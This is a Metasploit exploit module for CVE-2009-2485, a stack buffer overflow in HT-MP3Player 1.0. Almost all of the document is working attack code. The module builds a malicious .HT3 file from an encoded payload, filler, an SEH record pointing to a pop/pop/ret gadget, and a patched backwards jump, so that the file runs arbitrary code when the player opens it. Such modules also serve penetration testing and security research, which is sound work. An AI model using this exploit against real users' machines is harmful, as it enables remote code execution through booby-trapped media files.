##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'HT-MP3Player 1.0 HT3 File Parsing Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in HT-MP3Player 1.0.
          Arbitrary code execution could occur when parsing a specially crafted
          .HT3 file.

          NOTE: The player installation does not register the file type to be
          handled. Therefore, a user must take extra steps to load this file.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'hack4love <hack4love[at]hotmail.com>',
          'His0k4',
          'jduck',
        ],
        'References' => [
          [ 'CVE', '2009-2485' ],
          [ 'OSVDB', '55449' ],
          [ 'EDB', '9034' ],
          [ 'EDB', '9038' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'AllowWin32SEH' => true
        },
        'Payload' => {
          'Space' => 4108,
          'DisableNops' => true,
          # input restriction: UTF-8!
          'BadChars' => [0, 0x0a, 0x0d, *(0x80..0xcf)].pack("C*"),
          'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
          'StackAdjustment' => -8500,
        },
        'Platform' => 'win',
        'Targets' => [
          [
            'HT-MP3Player 1.0',
            {
              'Ret' => 0x00406cff, # pop/pop/ret @ HTMP3Player.exe
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2009-06-29',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.', 'msf.ht3']),
      ]
    )
  end

  def exploit
    # payload first
    bof = payload.encoded

    # filler
    bof << rand_text_alphanumeric(payload_space - bof.length)

    # NOTE: the nul smashes a nul, oh no!
    sehrec = generate_seh_record(target.ret)
    # jmp -4108 (depends on target addr ending with 0xff)
    sehrec[0, 4] = "\xe9\xef\xef\xff"
    bof << sehrec

    # crash reading from offset 4096 (put bad addr here)
    bof[4096, 4] = [0xf0f0f0f0].pack('V')

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(bof)
  end
end